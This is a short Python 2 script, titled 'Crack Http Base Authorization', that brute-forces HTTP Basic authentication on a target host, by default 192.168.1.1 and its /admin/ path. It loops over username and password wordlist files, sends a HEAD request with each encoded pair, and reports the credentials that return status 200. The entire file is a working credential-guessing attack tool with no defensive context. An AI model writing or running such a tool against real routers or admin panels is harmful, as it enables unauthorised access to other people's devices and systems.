#! /usr/bin/env python
#coding=utf-8

import base64
import httplib

print
print '---------------------------------------------------------------'
print "Crack Http Base Authorization"
print '---------------------------------------------------------------'
print

popUrl = raw_input("Please input IP/URL (Default 192.168.1.1) (Without Protocol):")

if popUrl is '':
    popUrl = '192.168.1.1'

print
print 'URL:',popUrl
guessMode = 0

userName = raw_input("Please input username(If You Know):")
if userName is '':
    guessMode = 1
    

if guessMode == 0:
    fPassword = open('default_password.txt','r')
    
    for eachLine in fPassword:
        eachLine = eachLine.strip()
        print 'Now guess:' + eachLine
        tempData = base64.b64encode(userName + ':' + eachLine)
        tempAuthData = 'Basic' + ' ' + tempData
        tempHeader = {"Authorization": tempAuthData}
        
        try:

            conn = httplib.HTTPConnection(popUrl,timeout=10)  #Time
            conn.request('HEAD','/admin/',headers = tempHeader)
            response = conn.getresponse()
            stat = response.status
            if stat == 200:
                print 'Success!!!'
                print 'Username:' + userName + '  Password:' + eachLine
                break
        except Exception,e:
            print 'error1 ',eachLine,e
            continue
    fPassword.close()
        
if guessMode == 1:
    fUsername = open('default_username.txt','r')
    fPassword = open('default_password.txt','r')
    
    for eachUserName in fUsername:
        Quit = 0
        eachUserName = eachUserName.strip()
        print eachUserName
        
        fPassword.seek(0,0)  #important
        
        for eachLine in fPassword:
            eachLine = eachLine.strip()
            print 'Now guess:' + eachUserName + ':' + eachLine
            tempData = base64.b64encode(eachUserName + ':' + eachLine)
            tempAuthData = 'Basic' + ' ' + tempData
            tempHeader = {"Authorization": tempAuthData}
            
            try:

                conn = httplib.HTTPConnection(popUrl,timeout=10)  #Time
                conn.request('HEAD','/admin/',headers = tempHeader)
                response = conn.getresponse()
                stat = response.status
                if stat == 200:
                    Quit = 1
                    print
                    print 'Open the Door Success!'
                    print 'Username:' + eachUserName + '  Password:' + eachLine
                    break
            except Exception,e:
                print 'error2 ',eachLine,e
                continue
        if Quit == 1:
            break
        
    fUsername.close()
    fPassword.close()

print
print 'Completed!'
